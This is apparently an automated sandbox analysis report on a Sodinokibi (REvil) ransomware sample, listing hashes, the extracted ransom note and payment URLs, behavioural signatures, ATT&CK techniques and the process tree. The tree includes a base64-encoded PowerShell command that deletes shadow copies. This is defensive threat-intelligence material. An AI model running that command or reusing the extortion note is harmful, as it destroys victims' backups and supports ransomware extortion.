Analysis

  • max time kernel
    174s
  • max time network
    198s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 01:13

General

  • Target

    b8b54a569fb9de772a995c6fa9e426791489b12f4482b2deeae28a5181e8c316.exe

  • Size

    116KB

  • MD5

    dda952538754432a74b04a1bfeee1676

  • SHA1

    29b48dfc31a9647b1ad08e306d3a3c78f780e298

  • SHA256

    b8b54a569fb9de772a995c6fa9e426791489b12f4482b2deeae28a5181e8c316

  • SHA512

    e3ffffd92f2363b9f472b685789fcc6f5a5947a852a95ba4b7530f802df927ef7ddf23c97442b66218249d55566374b5fcbc191f33fcbde1f60cdd7373b09ba4

Malware Config

Extracted

Path

C:\8skf4-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 8skf4. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9CDE3133D2C3C8E9 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/9CDE3133D2C3C8E9 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: OuqVbCEncbcrv+k28Pnil2hK57ZV9gMyTESIw0u29em2HmtphiZGAyW/aDqT8lSH u6gzvivnXH2RL0uhA7pukpxYBaEf7IoNUBsgvBFWv6akVd1P4bjVTTQzic5dCqT3 Fo+bMPs4viuS0GGH9AIF7ePuSY64c0S5JmSU2en9oaIhHjVwFvDxXEIFu6z0yBNQ 8G3VBBXAqTTPDOVNra1BLfJq2vYpAhK/sBVJsQG14A1zGSauyLoC6RfDoVJ3UDWo nlssaWr1vkPP4WHkr37+GpfCPCNUowILpvGckMW9/oaq2VuUffrQebAQEiXfXq/h /wQb2RYWcRuQ3/L36QmzMGQblJxVuN48LVylEVEqEOkEI5DSfxfsjAX1sD3DgaDs eQfWshQj/Okr6u7/KSgR99Q9gkkfPhR/UNzMGWJRSB3eE2pGUgdUt1RZcso0nnNn n50q6gYTTAwWDteZy6Kx9lndSlR14qw05kQQlAUcmAjmFM4EyooD9BoVYWfqNif0 o88tsboFLWyTquTudUdpvAhYiRfmjs3Y5Vm9rPXH66zlGFv3Tz7qtSMdWv57VTl+ r3XhRFw2FM9iXEKuO7uJV/KwA5gJsHItP7xgowbGFZpdC3pPxvFi3Lzn08dEeI4R DJVocNV+nTT+GhIP16E26l0nmnLOImjJlQyZD5+tOBulT4dbx4+vjNDjKCf+VvCq RQMHJxYao7+1mgkl7iQ29j2bEkRL2Oc9Ud7kJDlPTFL44HKrdTw4lbw5zqwavMGO P1t6xRV/SChyZlKfAPKRsiQHoaBe4Et9ldtJcXux3Xq22RYSpvVUpnwm7cdWX8ID Q1pskadJmeyJQoqZ0k6KqwKuZI7/E7HjpO/n2iNnmFQdSI1o2PKZF6YRw7+F8TqS JHHJK0GQDQDDsCHBMiwfQqTRmYBblNounjfg/xZpk6WD4i+QqhdYMpDm4toCQpnV S2zGdj9Hr8qOaMIEpcaCN7XGMFlluTBOV+yWyCkuOHBw9vnsKMLCSg16kv0XDXnF Zpq5ElkUHN2g071jvVnMlCJjS1Eq5MsyQMxMD0HncSiwVW4R5dZ67hPQbP07+wYX HsOV7M+QLp0Cu+XxO0027FskewAoNfSUwyxyo688eWkMBv3hiCtKMkWOZ9GaT/Rj OLeWiPxHSxzGf9RAROTnhRiLkCrRbLmSsL8MQi41hxEwnB9Hn4mF9p3scn5GIuX5 +K2G06xdj/0Wj+o+PEY1rPR3/SLyG3pfJbQNMWPbdYQTByUneevUUbJ+5rW3eOiE +x8ZYrzwVrdCx3OrMI8= Extension name: 8skf4 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9CDE3133D2C3C8E9

http://decryptor.cc/9CDE3133D2C3C8E9

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b8b54a569fb9de772a995c6fa9e426791489b12f4482b2deeae28a5181e8c316.exe
    "C:\Users\Admin\AppData\Local\Temp\b8b54a569fb9de772a995c6fa9e426791489b12f4482b2deeae28a5181e8c316.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2708
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:2316
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:872

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    2
    T1112

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Impact

    Defacement

    1
    T1491

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2708-122-0x0000022FF09A0000-0x0000022FF09C2000-memory.dmp
      Filesize

      136KB

    • memory/2708-125-0x0000022FF0100000-0x0000022FF0102000-memory.dmp
      Filesize

      8KB

    • memory/2708-126-0x0000022FF0103000-0x0000022FF0105000-memory.dmp
      Filesize

      8KB

    • memory/2708-127-0x0000022FF0B50000-0x0000022FF0BC6000-memory.dmp
      Filesize

      472KB